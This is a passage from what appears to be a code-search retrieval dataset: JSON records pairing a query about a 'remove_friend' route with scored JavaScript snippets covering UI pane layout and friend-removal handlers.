"title": "" }, { "docid": "30f2466c9b0f19d1cda3a1f87df175fe", "score": "0.49882144", "text": "containInParent() {\n if (this.parentContainer && this.isActive) {\n let targetRect = this.target.getBoundingClientRect();\n\n //Make sure bottom of parent is visible, then ensure the target and the parent's bottom are at the same level, then confirm the window's offset is not over the target\n if (this.shouldDock(targetRect)) {\n this.setDocked();\n } else if(this.isDocked && targetRect.top >= this.offset) {\n this.setUndocked();\n }\n }\n }", "title": "" }, { "docid": "fdb9d33bad7289d2c7698e75781f0389", "score": "0.4982172", "text": "_createPaneElement(host) {\n const pane = this._document.createElement('div');\n pane.id = `cdk-overlay-${nextUniqueId++}`;\n pane.classList.add('cdk-overlay-pane');\n host.appendChild(pane);\n return pane;\n }", "title": "" }, { "docid": "dd57110e50b3bd12fc0e144ea45963bf", "score": "0.49760792", "text": "function activate(data_type, divID){\n $('.active').removeClass('active');\n $('#'+divID).addClass('active');\n populateContentPane(data_type, divID);\n}", "title": "" }, { "docid": "ee80a40850268094569eddad373a46b1", "score": "0.49742603", "text": "function makeBigOutputPane() {\n outputPaneRef.current.style.width = \"96%\"\n }", "title": "" }, { "docid": "410f4a61d70f6a1803dee8cc1019e071", "score": "0.49682036", "text": "addOnePane() {\n if (!this.finished()) {\n this.addPane(this.sampler);\n }\n return (this.finished());\n }", "title": "" }, { "docid": "0f0483a791b78c67c0ec4bfb3fea8e8e", "score": "0.49680766", "text": "constructor(options) {\n super();\n /**\n * A message hook for child add/remove messages on the main area dock panel.\n */\n this._dockChildHook = (handler, msg) => {\n switch (msg.type) {\n case 'child-added':\n msg.child.addClass(ACTIVITY_CLASS);\n this._tracker.add(msg.child);\n break;\n case 'child-removed':\n msg.child.removeClass(ACTIVITY_CLASS);\n this._tracker.remove(msg.child);\n break;\n default:\n break;\n }\n return true;\n };\n this._activeChanged = new Signal(this);\n this._cachedLayout = null;\n this._currentChanged = new Signal(this);\n this._currentPath = '';\n this._currentPathChanged = new Signal(this);\n this._modeChanged = new Signal(this);\n this._isRestored = false;\n this._layoutModified = new Signal(this);\n this._layoutDebouncer = new Debouncer(() => {\n this._layoutModified.emit(undefined);\n }, 0);\n this._restored = new PromiseDelegate();\n this._tracker = new FocusTracker();\n this._mainOptionsCache = new Map();\n this._sideOptionsCache = new Map();\n this.addClass(APPLICATION_SHELL_CLASS);\n this.id = 'main';\n const trans = ((options && options.translator) || nullTranslator).load('jupyterlab');\n const headerPanel = (this._headerPanel = new BoxPanel());\n const menuHandler = (this._menuHandler = new Private.PanelHandler());\n menuHandler.panel.node.setAttribute('role', 'navigation');\n menuHandler.panel.node.setAttribute('aria-label', trans.__('main'));\n const topHandler = (this._topHandler = new Private.PanelHandler());\n topHandler.panel.node.setAttribute('role', 'banner');\n const bottomPanel = (this._bottomPanel = new BoxPanel());\n bottomPanel.node.setAttribute('role', 'contentinfo');\n const hboxPanel = new BoxPanel();\n const vsplitPanel = (this._vsplitPanel = new Private.RestorableSplitPanel());\n const dockPanel = (this._dockPanel = new DockPanelSvg());\n MessageLoop.installMessageHook(dockPanel, this._dockChildHook);\n const hsplitPanel = (this._hsplitPanel = new Private.RestorableSplitPanel());\n const downPanel = (this._downPanel = new TabPanelSvg({\n tabsMovable: true\n }));\n const leftHandler = (this._leftHandler = new Private.SideBarHandler());\n const rightHandler = (this._rightHandler = new Private.SideBarHandler());\n const rootLayout = new BoxLayout();\n headerPanel.id = 'jp-header-panel';\n menuHandler.panel.id = 'jp-menu-panel';\n topHandler.panel.id = 'jp-top-panel';\n bottomPanel.id = 'jp-bottom-panel';\n hboxPanel.id = 'jp-main-content-panel';\n vsplitPanel.id = 'jp-main-vsplit-panel';\n dockPanel.id = 'jp-main-dock-panel';\n hsplitPanel.id = 'jp-main-split-panel';\n downPanel.id = 'jp-down-stack';\n leftHandler.sideBar.addClass(SIDEBAR_CLASS);\n leftHandler.sideBar.addClass('jp-mod-left');\n leftHandler.sideBar.node.setAttribute('aria-label', trans.__('main sidebar'));\n leftHandler.sideBar.contentNode.setAttribute('aria-label', trans.__('main sidebar'));\n leftHandler.sideBar.node.setAttribute('role', 'complementary');\n leftHandler.stackedPanel.id = 'jp-left-stack';\n rightHandler.sideBar.addClass(SIDEBAR_CLASS);\n rightHandler.sideBar.addClass('jp-mod-right');\n rightHandler.sideBar.node.setAttribute('aria-label', trans.__('alternate sidebar'));\n rightHandler.sideBar.contentNode.setAttribute('aria-label', trans.__('alternate sidebar'));\n rightHandler.sideBar.node.setAttribute('role', 'complementary');\n rightHandler.stackedPanel.id = 'jp-right-stack';\n dockPanel.node.setAttribute('role', 'main');\n hboxPanel.spacing = 0;\n vsplitPanel.spacing = 1;\n dockPanel.spacing = 5;\n hsplitPanel.spacing = 1;\n headerPanel.direction = 'top-to-bottom';\n vsplitPanel.orientation = 'vertical';\n hboxPanel.direction = 'left-to-right';\n hsplitPanel.orientation = 'horizontal';\n bottomPanel.direction = 'bottom-to-top';\n SplitPanel.setStretch(leftHandler.stackedPanel, 0);\n SplitPanel.setStretch(downPanel, 0);\n SplitPanel.setStretch(dockPanel, 1);\n SplitPanel.setStretch(rightHandler.stackedPanel, 0);\n BoxPanel.setStretch(leftHandler.sideBar, 0);\n BoxPanel.setStretch(hsplitPanel, 1);\n BoxPanel.setStretch(rightHandler.sideBar, 0);\n SplitPanel.setStretch(vsplitPanel, 1);\n hsplitPanel.addWidget(leftHandler.stackedPanel);\n hsplitPanel.addWidget(dockPanel);\n hsplitPanel.addWidget(rightHandler.stackedPanel);\n vsplitPanel.addWidget(hsplitPanel);\n vsplitPanel.addWidget(downPanel);\n hboxPanel.addWidget(leftHandler.sideBar);\n hboxPanel.addWidget(vsplitPanel);\n hboxPanel.addWidget(rightHandler.sideBar);\n rootLayout.direction = 'top-to-bottom';\n rootLayout.spacing = 0; // TODO make this configurable?\n // Use relative sizing to set the width of the side panels.\n // This will still respect the min-size of children widget in the stacked\n // panel. The default sizes will be overwritten during layout restoration.\n vsplitPanel.setRelativeSizes([3, 1]);\n hsplitPanel.setRelativeSizes([1, 2.5, 1]);\n BoxLayout.setStretch(headerPanel, 0);\n BoxLayout.setStretch(menuHandler.panel, 0);\n BoxLayout.setStretch(topHandler.panel, 0);\n BoxLayout.setStretch(hboxPanel, 1);\n BoxLayout.setStretch(bottomPanel, 0);\n rootLayout.addWidget(headerPanel);\n rootLayout.addWidget(topHandler.panel);\n rootLayout.addWidget(hboxPanel);\n rootLayout.addWidget(bottomPanel);\n // initially hiding header and bottom panel when no elements inside,\n this._headerPanel.hide();\n this._bottomPanel.hide();\n this._downPanel.hide();\n this.layout = rootLayout;\n // Connect change listeners.\n this._tracker.currentChanged.connect(this._onCurrentChanged, this);\n this._tracker.activeChanged.connect(this._onActiveChanged, this);\n // Connect main layout change listener.\n this._dockPanel.layoutModified.connect(this._onLayoutModified, this);\n // Connect vsplit layout change listener\n this._vsplitPanel.updated.connect(this._onLayoutModified, this);\n // Connect down panel change listeners\n this._downPanel.currentChanged.connect(this._onLayoutModified, this);\n this._downPanel.tabBar.tabMoved.connect(this._onTabPanelChanged, this);\n this._downPanel.stackedPanel.widgetRemoved.connect(this._onTabPanelChanged, this);\n // Catch current changed events on the side handlers.\n this._leftHandler.sideBar.currentChanged.connect(this._onLayoutModified, this);\n this._rightHandler.sideBar.currentChanged.connect(this._onLayoutModified, this);\n // Catch update events on the horizontal split panel\n this._hsplitPanel.updated.connect(this._onLayoutModified, this);\n // Setup single-document-mode title bar\n const titleHandler = (this._titleHandler = new Private.TitleHandler(this));\n this.add(titleHandler, 'top', { rank: 100 });\n if (this._dockPanel.mode === 'multiple-document') {\n this._topHandler.addWidget(this._menuHandler.panel, 100);\n titleHandler.hide();\n }\n else {\n rootLayout.insertWidget(2, this._menuHandler.panel);\n }\n // Skip Links\n const skipLinkWidget = (this._skipLinkWidget = new Private.SkipLinkWidget(this));\n this.add(skipLinkWidget, 'top', { rank: 0 });\n this._skipLinkWidget.show();\n // Wire up signals to update the title panel of the simple interface mode to\n // follow the title of this.currentWidget\n this.currentChanged.connect((sender, args) => {\n let newValue = args.newValue;\n let oldValue = args.oldValue;\n // Stop watching the title of the previously current widget\n if (oldValue) {\n oldValue.title.changed.disconnect(this._updateTitlePanelTitle, this);\n }\n // Start watching the title of the new current widget\n if (newValue) {\n newValue.title.changed.connect(this._updateTitlePanelTitle, this);\n this._updateTitlePanelTitle();\n }\n if (newValue && newValue instanceof DocumentWidget) {\n newValue.context.pathChanged.connect(this._updateCurrentPath, this);\n }\n this._updateCurrentPath();\n });\n }", "title": "" }, { "docid": "23809c7de990ba24df9326a801de6d72", "score": "0.4965943", "text": "getContentPanel () {\n return this.refs.contentPanel\n }", "title": "" }, { "docid": "2e35cca01e328b15ba6f473783b1270b", "score": "0.49653104", "text": "function resize() {\n var ps = ws.dom.size(parent),\n hs = ws.dom.size(topBar);\n //tb = ws.dom.size(toolbar.container);\n \n ws.dom.style(frame, {\n height: ps.h - hs.h - 55 - 17 + 'px' //55 is padding from top for data column and letter\n });\n\n ws.dom.style([container, gsheetFrame, liveDataFrame], {\n height: ps.h - hs.h - 22 /*- tb.h*/ + 'px'\n });\n\n\n ws.dom.style(table, {\n width: ps.w + 'px'\n });\n\n }", "title": "" }, { "docid": "8f683067d8d22874d24ac20d45163a82", "score": "0.4963908", "text": "getIsContainerControl(){return this.__isContainerControl}", "title": "" }, { "docid": "d53244befa75de7c58b9be2461b3e3c3", "score": "0.4956543", "text": "_setMenuPaneRect() {\n this.menuPaneRect = this.menuPane.getBoundingClientRect();\n }", "title": "" }, { "docid": "19a030e6d5f6b994213be09dcbd71498", "score": "0.49544397", "text": "function resizeTabContainer(viewer) {\r\n\t\tvar height = 0;\r\n\t\tif (viewer.parent.getBodyHeight) {\r\n\t\t\theight = viewer.parent.getBodyHeight(document);\r\n\t\t\tif (viewer.parent.resizeActiveTab) {\r\n\t\t\t \tviewer.parent.resizeActiveTab(height, viewer.parent.activeTabId);\r\n\t\t\t}\t\t\t\t\t\r\n\t\t}\r\n\t }", "title": "" }, { "docid": "da8d9de72ee8cb5db43a7c42abc21966", "score": "0.49510267", "text": "setMultiProportions()\n {\n var horizontalDock = this._selectedDock == this._focusBottomDockDiv;\n\n if (horizontalDock)\n {\n this._focusDiv.style.display = \"none\";\n this._selectedDock.style.display = \"flex\";\n this._selectedDock.style.width = \"100%\";\n }\n else\n {\n this._focusDiv.style.display = \"flex\";\n this._selectedDock.style.display = \"block\";\n this._focusDiv.style.width = \"70%\";\n this._selectedDock.style.width = \"30%\";\n }\n this._gridDiv.style.display = \"none\";\n\n for (let primary of this._focusDiv.children)\n {\n primary.children[0].stretch = true;\n primary.children[0].contextMenuNone.displayEntry(\"Focus Video\", false);\n primary.children[0].contextMenuNone.displayEntry(\"Horizontal Multiview\", true);\n primary.children[0].contextMenuNone.displayEntry(\"Reset Multiview\", true);\n primary.children[0].gridRows = 1;\n primary.children[0].style.gridColumn = null;\n primary.children[0].style.gridRow = null;\n }\n\n for (let docked of this._selectedDock.children)\n {\n docked.children[0].stretch = true;\n docked.children[0].contextMenuNone.displayEntry(\"Focus Video\", true);\n docked.children[0].contextMenuNone.displayEntry(\"Horizontal Multiview\", true);\n docked.children[0].contextMenuNone.displayEntry(\"Reset Multiview\", true);\n docked.children[0].style.gridColumn = null;\n docked.children[0].style.gridRow = null;\n\n if (horizontalDock)\n {\n docked.children[0].gridRows = 1;\n }\n else\n {\n docked.children[0].gridRows = this._selectedDock.children.length;\n }\n }\n\n // Wait for reassignments to calculate resize event.\n setTimeout(() => {\n window.dispatchEvent(new Event('resize'));\n }, 250);\n }", "title": "" }, { "docid": "eb300ea0bd639706604987a78bbff7a5", "score": "0.4938379", "text": "_hasScrolledAncestor(el,deltaX,deltaY){if(\"vaadin-grid-cell-content\"===el.localName){return!1}else if(this._canScroll(el,deltaX,deltaY)&&-1!==[\"auto\",\"scroll\"].indexOf(getComputedStyle(el).overflow)){return!0}else if(el!==this&&el.parentElement){return this._hasScrolledAncestor(el.parentElement,deltaX,deltaY)}}", "title": "" }, { "docid": "83d52692a7b1821fa394de0f4d332fbe", "score": "0.49382997", "text": "closePanesExcept(paneRef) {\n if (isNumber(paneRef)) {\n paneRef = this.getPaneRefByIndex(paneRef);\n }\n if (this.closeothers) {\n this.panes.forEach(pane => {\n if (pane !== paneRef) {\n pane.collapse();\n }\n });\n }\n }", "title": "" }, { "docid": "45cbccc92906cb1af48b3a65ea0fc9e8", "score": "0.49345484", "text": "getContainer() {\n return document.body;\n }", "title": "" }, { "docid": "45cbccc92906cb1af48b3a65ea0fc9e8", "score": "0.49345484", "text": "getContainer() {\n return document.body;\n }", "title": "" }, { "docid": "f6eb1c3fc6411df5e3f356d78a5013c7", "score": "0.4932859", "text": "function createAnnotationTabPages() {\n\n // Create a new cell for the tab page\n //var table_row = document\n // .getElementById(\"symbol_table\")\n // .getElementsByTagName(\"tbody\")[0]\n // .getElementsByTagName(\"tr\")[0];\n\n //var cell = document.createElement(\"td\");\n //cell.setAttribute(\"id\", \"tabpage_cell\");\n //table_row.insertBefore(cell, table_row.children[0]);\n\n // Create div elements for the tab page\n //var annotationsDiv = document.createElement(\"div\");\n //annotationsDiv.setAttribute(\"id\", \"annotationsTabDiv\");\n var annotationsDiv = document.getElementById(\"annotationsTabDiv\");\n \n //cell.appendChild(annotationsDiv);\n\n\n require([\"dijit/layout/TabContainer\", \"dijit/layout/ContentPane\", \"dojo/domReady!\"], function (TabContainer, ContentPane) {\n\n var tabContainerHeight = 270;\n\n var tc = new TabContainer({\n id: \"annotationsTabContainer\",\n style: \"height: \" + tabContainerHeight + \"px; width: 290px;\"\n }, \"annotationsTabDiv\");\n\n var breakoutDayList = document.createElement(\"ul\");\n breakoutDayList.setAttribute(\"id\", \"tabpane_breakoutday_list\");\n var cp1 = new ContentPane({\n id: \"breakoutDayTabContentPane\",\n title: \"Breakout Day\",\n content: breakoutDayList,\n startup: updateAnnotationsTabs,\n //style: \"height: 100%; width: 100%;\"\n });\n tc.addChild(cp1);\n\n var symbolList = document.createElement(\"ul\");\n symbolList.setAttribute(\"id\", \"tabpane_symbol_list\");\n var cp2 = new ContentPane({\n id: \"symbolsTabContentPane\",\n title: \"Symbols\",\n content: symbolList\n });\n tc.addChild(cp2);\n\n var annotationList = document.createElement(\"ul\");\n annotationList.setAttribute(\"id\", \"tabpane_annotation_list\");\n var cp3 = new ContentPane({\n id: \"annotationsTabContentPane\",\n title: \"Annotations\",\n content: annotationList\n });\n tc.addChild(cp3);\n\n tc.startup();\n\n // Center the tab container vertically\n var annotationsTabDiv = document.getElementById(\"annotationsTabContentDiv\");\n var marginTop = \"-\" + (tabContainerHeight / 2) + \"px\";\n annotationsTabDiv.style['marginTop'] = marginTop;\n\n\n hasTabPage = true;\n });\n}", "title": "" }, { "docid": "772a10752e7d381d817628a2173c5744", "score": "0.49324074", "text": "function toggleView(focus) {\r\n // Only perform these actions when in \"Home\" view. \r\n if (Util.isHome) {\r\n\t\r\n // Save off the focus for later reference\r\n currentFocusContainer = focus;\r\n // Switch visible column\r\n var box = document.getElementById('scrollableArea'); \r\n box.style.marginLeft = ( focus == 'location' ) ? '-100%' : '0%';\r\n }\r\n \r\n }", "title": "" }, { "docid": "ce6f7e92fe06cc5748570251432281ce", "score": "0.4932218", "text": "function showJC(e){\r\n\t\t\tvar el = e.target.getBoundingClientRect();\r\n\t\t\tJC.style.top = (el.top + el.height) + \"px\";\r\n\t\t\tJC.style.left = el.left + \"px\";\r\n\t\t\tJC.style.display = \"block\";\r\n\t\t}", "title": "" } ]
b01c8bea28cc19fbc45f67610e343ef7
remove_friend POST route from either user at any status except nofriends status a helper function for addFriend()
[ { "docid": "3d9fd38e2c4d250ecd5d3d8d59a59b40", "score": "0.6136792", "text": "removeFriend(okta_id_1, okta_id_2, addFriendCallback){\n\t\tUser.findOne({okta_id: okta_id_1}, function(err1, user1){\n\t\t\tif (err1) return console.log(err1);\n\t\t\tUser.findOne({okta_id: okta_id_2}, function(err2, user2){\n\t\t\t\tif (err2) return console.log(err2);\n\t\t\t\t\n\t\t\t\t// find and remove friend object of each other\n\t\t\t\tfor (let i=0; i < user1.friends.length; i++){\n\t\t\t\t\t// found target friendObj?\n\t\t\t\t\tif (user1.friends[i].user.equals(user2._id)){\n\t\t\t\t\t\tuser1.friends.splice(i, 1); // remove friendObj\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfor (let i=0; i < user2.friends.length; i++){\n\t\t\t\t\t// found target friendObj?\n\t\t\t\t\tif (user2.friends[i].user.equals(user1._id)){\n\t\t\t\t\t\tuser2.friends.splice(i, 1); // remove friendObj\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// continue to addFriend(), which will do the saving\n\t\t\t\tif (addFriendCallback){\n\t\t\t\t\taddFriendCallback(user1, user2); // sender and other user respectively\n\t\t\t\t}\n\t\t\t\t// if not, save right here\n\t\t\t\telse {\n\t\t\t\t\tuser1.save();\n\t\t\t\t\tuser2.save();\n\t\t\t\t}\n\t\t\t});\n\t\t});\n\t}", "title": "" } ]
[ { "docid": "f181f860d11c4e4c951c3ce4a29e7136", "score": "0.69810116", "text": "function removeFriend(req, res, next) {\n var friendId = req.body.friendId;\n var user = req.user;\n\n var idx = user.friends.indexOf(friendId);\n if(idx === -1) {\n return res.status(400).json({message: \"Friend already removed\"});\n }\n user.friends.splice(idx, 1);\n user.saveAsync()\n .then(function() {\n return User.findOneAsync({ _id: friendId }, \"email friendRequests\");\n })\n .then(function(friend) {\n // Remove myself from friend's friendRequests list\n if(!friend) {\n //the user you are removing has already erased his account\n console.log(\"Can't remove from friendRequests, but we are safe\");\n return;\n }\n var idx = friend.friendRequests.indexOf(user._id);\n if(idx !== -1) {\n friend.friendRequests.splice(idx, 1);\n return friend.saveAsync();\n }\n })\n .then(function(){\n // Once I've removed the user answer to the client,\n res.status(204).end();\n })\n .catch(validationError(res));\n}", "title": "" }, { "docid": "76388423f0f910664aa74215978da617", "score": "0.6946644", "text": "removeFriend({ params }, res) {\n User.findOneAndUpdate({ _id: params.userId}, { $pull: { friends: params.friendId} })\n .then(dbUserData => res.status(200).json(user204Message(params.friendId, 'User')))\n .catch(err => res.json(err))\n }", "title": "" }, { "docid": "44ce5c6d7f7fb9df1b44fb08329e693c", "score": "0.6857553", "text": "function removeFriend(req, res, next) {\n \n getUser(req.user.id, function(user) {\n \n // First check that a recipient is given\n if (req.body.recipient == undefined) {\n badResponse(res, \"Error removing friend; was a recipient given?\");\n return;\n }\n \n // Otherwise, delete the friend edges\n c.db.none(\"delete from friends where (requester = $1 and recipient = $2) or (requester = $2 and recipient = $1)\", [user.email, req.body.recipient])\n .then(function (data) {\n goodResponse(res, \"Friend removed successfully\");\n })\n .catch(function (err) { badResponse(res, \"Error removing friend\", err) });\n });\n \n}", "title": "" }, { "docid": "678b7ff5c09e811d2446982e4a498e65", "score": "0.67952657", "text": "removeFriend({ params }, res) {\n User.findOneAndUpdate( {_id: params.userId }, {$pull: { friends: params.friendId }}, {new: true} )\n .then(dbUserData => {\n if (!dbUserData) {\n res.status(404).json({ msg: `No User found with this ID` });\n return;\n }\n res.json(dbUserData);\n })\n .catch(err => res.status(400).json(err));\n }", "title": "" }, { "docid": "39402d8909bba6251d5f1518407a0385", "score": "0.67166495", "text": "deleteRequest(fromId, toId, callback) {\n this.friend.remove({ $and: [\n { from: fromId }, \n { to: toId },\n { confirmed: false }\n ]}, function(err, friend) {\n callback(err, friend);\n });\n }", "title": "" }, { "docid": "30b30fdc965e2923db88d6d76d491523", "score": "0.67099154", "text": "async removeFriend(_, { friendId, userId }, context) {\n await userResolvers.Mutation.authenticateUserByContext(_, {}, context);\n\n const friend = await User.findById(friendId);\n const user = await User.findById(userId);\n\n if (\n !friend ||\n !user ||\n !user.friendIds.includes(friendId) ||\n !friend.friendIds.includes(userId)\n ) {\n throw new UserInputError(\"Invalid input\");\n } else {\n // Remove friend from list\n var index = user.friendIds.indexOf(friendId);\n await user.friendIds.splice(index, 1);\n await user.save();\n\n index = friend.friendIds.indexOf(userId);\n await friend.friendIds.splice(index, 1);\n await friend.save();\n\n return user.friendIds;\n }\n }", "title": "" }, { "docid": "4e410b20ffabec7806fbe38dae8fcbff", "score": "0.6571786", "text": "deleteFriend({ params }, res) {\n User.findOneAndUpdate(\n { _id: params.userId },\n { $pull: { friends: params.friendsId } },\n { new: true }\n ).then(dbUserData => {\n if (!dbUserData) {\n return res.status(404).json({ message: \"No user found with this id.\" });\n }\n res.json(dbUserData); \n })\n .catch(err => res.json(err));\n }", "title": "" }, { "docid": "3656bcb76d32db37faba8dc6b30eba86", "score": "0.6567409", "text": "deleteFriend({ params }, res) {\n User.findOneAndUpdate(\n { _id: params.userId },\n { $pull: { friends: params.friendId } },\n { new: true }\n )\n .then((userData) => res.json(userData))\n .catch((err) => res.status(400).json(err));\n }", "title": "" }, { "docid": "2f69329d67ac1c9ed5eb8a7bba6ec9b7", "score": "0.64984936", "text": "function rejectFriendRequest(req, res, next) {\n var friendId = req.body.friendId;\n if(!friendId) {\n return validationError(res,400)({\n message: \"Invalid request, you must send friendId\"\n });\n }\n var user = req.user;\n \n var idx = user.friendRequests.indexOf(friendId);\n if(idx !== -1){\n user.friendRequests.splice(idx, 1);\n return user.saveAsync()\n .then(function(){\n res.status(200).json({friendId: friendId});\n });\n } else {\n return res.status(204).end();\n }\n\n}", "title": "" }, { "docid": "18003d8e45fa47b4aa621d36bfbbd039", "score": "0.64933443", "text": "function deleteSentFriendRequest(userId, friendId){\r\n let user = getUserFromId(userId);\r\n if(user.sentFriendRequests.includes(friendId)){\r\n user.sentFriendRequests = user.sentFriendRequests.filter(id => id != friendId);\r\n }\r\n}", "title": "" }, { "docid": "20843a25650fd3378a2e6e58cf0126a9", "score": "0.6481559", "text": "function deleteReceivedFriendRequest(userId, friendId){\r\n let user = getUserFromId(userId);\r\n if(user.receivedFriendRequests.includes(friendId)){\r\n user.receivedFriendRequests = user.receivedFriendRequests.filter(id => id != friendId);\r\n }\r\n}", "title": "" }, { "docid": "604a456c7306adaef74c4fe8f3dfa372", "score": "0.64678586", "text": "removeFriend({params}, res) {\n User.findOneAndUpdate(\n {_id: params.userId },\n { $pull: { friends: params.friendId}},\n {new: true}\n )\n .then(dbThoughtData => res.json(dbThoughtData))\n .catch(err => res.json(err));\n }", "title": "" }, { "docid": "02cfb4e1ef9d81d14221ddd677f9f4b5", "score": "0.646773", "text": "deleteTheFriend({ params }, res) {\n user.findOneAndUpdate(\n { _id: params.userId },\n { $pull: { friends: params.friendId } },\n { new: true }\n )\n .then((dbUserData) => {\n if (!dbUserData) {\n res.status(404).json({ message: 'Cannot delete a friend, none found with this Id' });\n return;\n }\n res.json(dbUserData);\n })\n .catch((err) => res.status(400).json(err));\n }", "title": "" }, { "docid": "7a5b840966db144f33a1be4d70e47507", "score": "0.6427272", "text": "function handleFriendRemove(id) {\n fetch('http://localhost:5000/api/v1/users/' + email + \"/friends?friend_id=\" + id, {\n \"method\": \"DELETE\",\n \"headers\": {\n \"Content-Type\": \"application/json\"\n }\n }).then((response) => {\n if (!response.ok) {\n return 'error';\n }\n return response.json();\n }).then(() => {\n setEmail('');\n }).catch((error) => {\n throw (error);\n })\n }", "title": "" }, { "docid": "a79cae4793f0a2dcd16d50f05627ac4c", "score": "0.6406443", "text": "removeFriend(req, res){\n User.findByIdAndUpdate(\n { _id: req.params.userId },\n { $pull: { friends: req.params.friendId} },\n { new: true}\n )\n .then((dbUserData) => {\n if(!dbUserData) {\n return res.status(404).json({message:'No user found with this id'});\n }\n res.json(dbUserData);\n })\n .catch((err) => {\n console.log(err);\n res.status(500).json(err); \n });\n }", "title": "" }, { "docid": "9f9beb171d6f18f2d31932b9c76fcf1f", "score": "0.63681805", "text": "async refuseFriend (context, payload) {\n\t\tconsole.log(payload)\n\t\tconst json = await $fetch(`/api/friend-cancel/${payload.from}/${payload.to}`, {\n\t\t\tmethod: 'delete',\n\t\t\theaders: {'Content-Type':'application/json'},\n\t\t})\n\n\n\t}", "title": "" }, { "docid": "250831eced70b684925cf1f67d3d42f2", "score": "0.6362503", "text": "removeFriend(req, res){\n User.findById(req.params.friendId)\n .then((friend)=>{\n if(!friend){\n res.status(404).json({message: \"Friend could not be found, no user with this id\"})\n }\n return User.findOneAndUpdate(\n {_id: req.params.userId}, \n {$pull: {friends: req.params.friendId}},\n {new: true},\n ).populate({\n path: \"friends\",\n select: [\"-__v\", \"-email\", \"-thoughts\", \"-friends\"],\n });\n }).then((user)=>{\n if(!user){\n res.status(404).json({message: \"No user with this id\"})\n }\n res.json(user);\n }).catch((err)=>{\n res.json({message: \"Friend or user ID may be incorrect\", err});\n })\n }", "title": "" }, { "docid": "5966f02aab23870836f089142ce9dce7", "score": "0.6351371", "text": "deleteFriend({params},res){\n const { userId, friendId} = params\n User.findOneAndUpdate({_id:userId},{ $pull: { friends: friendId } }, { new: true })\n .then(dbUserData => {\n if(!dbUserData){\n res.status(404).json({ message: 'No user friend found with this id!' });\n return;\n }\n res.json(dbUserData);\n })\n .catch(err => {\n console.log(err);\n res.status(400).json(err);\n })\n }", "title": "" }, { "docid": "8469f43b3c9378d017db98ded0f6418b", "score": "0.6303448", "text": "deleteFriend({ params }, res) {\n Users.findOneAndUpdate(\n { _id: params.id },\n { $pull: { friends: params.friendId } },\n { new: true }\n )\n .populate({ path: \"friends\", select: \"-__v\" })\n .select(\"-__v\")\n .then((dbUsersData) => {\n if (!dbUsersData) {\n res.status(404).json({ message: \"NO USER FOUND\" });\n return;\n }\n res.json(dbUsersData);\n })\n .catch((err) => res.status(400).json(err));\n }", "title": "" }, { "docid": "da5d19ae5ba94df746110d379805a4fe", "score": "0.6291151", "text": "deleteFriend({ params }, res) {\n User.findOneAndUpdate({ _id: params.id },\n {$pull: { friends: params.friendId }}, \n { runValidators: true})\n .then(dbUserData => {\n if (!dbUserData) {\n res.status(404).json({ message: \"Cannot find a user with this Id\"});\n return;\n }res.json(dbUserData)\n }).catch(err => res.status(400).json(err));\n }", "title": "" }, { "docid": "d616eafd89e04f4ced8767bebe988200", "score": "0.62601906", "text": "function removeFriendRequest(requesterId, requestedId){\n if(!existsUser(requesterId))\n throw new Meteor.Error(ErrorCode.INTERNAL_ERROR, \"No user exists with _id: \" + requesterId);\n\n if(!existsUser(requestedId))\n throw new Meteor.Error(ErrorCode.INTERNAL_ERROR, \"No user exists with _id: \" + requestedId);\n\n Meteor.users.update({\n _id: requesterId\n },\n {\n $pull: {\n 'friends.unconfirmed': requestedId\n }\n });\n\n Meteor.users.update({\n _id: requestedId\n },\n {\n $pull: {\n 'friends.unconfirmed': requesterId\n }\n });\n\n Meteor.users.update({\n _id: requestedId\n },\n {\n $pull: {\n 'friends.requests': requesterId\n }\n });\n\n Meteor.users.update({\n _id: requesterId\n },\n {\n $pull: {\n 'friends.requests': requestedId\n }\n });\n }", "title": "" }, { "docid": "721498d1d8bd7f7f49fcf1481a5842aa", "score": "0.61943614", "text": "function removeFriend(id) {\n\n var request = $http({\n method: \"delete\",\n url: \"api/index.cfm\",\n params: {\n action: \"delete\"\n },\n data: {\n id: id\n }\n });\n\n return(request.then(handleSuccess, handleError));\n\n }", "title": "" }, { "docid": "c21e082a8bb443be3eeabbc8e7253798", "score": "0.61688805", "text": "removeFriend() {\n facebookProfile.friends -= 1;\n }", "title": "" }, { "docid": "f6cc68132bed66d67980e2d902012ecf", "score": "0.612326", "text": "function remove_friend() {\n var li = this.parentNode;\n li.parentNode.removeChild(li);\n delete_friend(li.getAttribute(\"id\"));\n}", "title": "" }, { "docid": "c53284726178a0e46499eeabe8478b24", "score": "0.6122", "text": "function friend_cancel(id)\n{\njQuery('#request_action').hide();\njQuery('#imgs_load').show();\n$.ajax({\n url: \"http://gautambook.isprasoft.com/userprofile/user_unfriend\",\n async: false,\n type: \"POST\",\n data: \"users_id=\"+id,\n dataType: \"html\",\n success: function(data) { \n jQuery('#request_sent').html(data);\n\t jQuery('#'+id).hide();\n\t\tjQuery('#imgs_load').hide();\n\t\t\n }\n });\n\t\n}", "title": "" }, { "docid": "da6a9c98e2856659767bda284efc789f", "score": "0.6096118", "text": "function remove( currUsername, removeId){\n\tconsole.log(\"called remove !\");\n\t$('#friend'+removeId).remove();\n\t \n\t var params = {\n\t username: currUsername,\n\t friendID: removeId,\n\t inputType: \"remove\"\n\t };\n\t $.post(\"DatabaseServlet\", $.param(params), function(responseText) { // Execute Ajax GET request on URL of \"DatabaseServlet\" and execute the following function with Ajax response text...\n\t\t \n\t });\n\t \n\t if ( $('#friendObjects').children().length == 0 ) {\n\t\t $(\"#friendsList\").html(\" <em> No followers to display. Add followers by searching for them! </em>\");\n\t }\n}", "title": "" }, { "docid": "6bb607573e7c5cfce125cdb4755ea5ee", "score": "0.60719836", "text": "unfollowUserAPI(friendId) {\n return instance.delete(`follow/${friendId}`).then(response => response.data)\n }", "title": "" }, { "docid": "b2555de1cfc814f7e368861d9237f43c", "score": "0.6060504", "text": "function removeFriend() {\n console.log(\"Removing friend...\");\n xHRObject.open(\"POST\", \"ChatController?dispatcher=removeFriend\", true);\n xHRObject.onreadystatechange = getDataRemovedFriend;\n var message = \"email=\" + document.getElementById(\"friendEmail\").value;\n xHRObject.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');\n xHRObject.send(message);\n}", "title": "" }, { "docid": "a1d3caaeb586b13385ff31b3c3dc9000", "score": "0.60477155", "text": "function unfollowUser(id) {\n $.ajax({\n method: \"POST\",\n url: \"/User/FriendRemove\",\n data: { user_id: id }\n })\n .success(function (result) {\n // Result is a boolean, indicates wether the request was successful or not.\n if 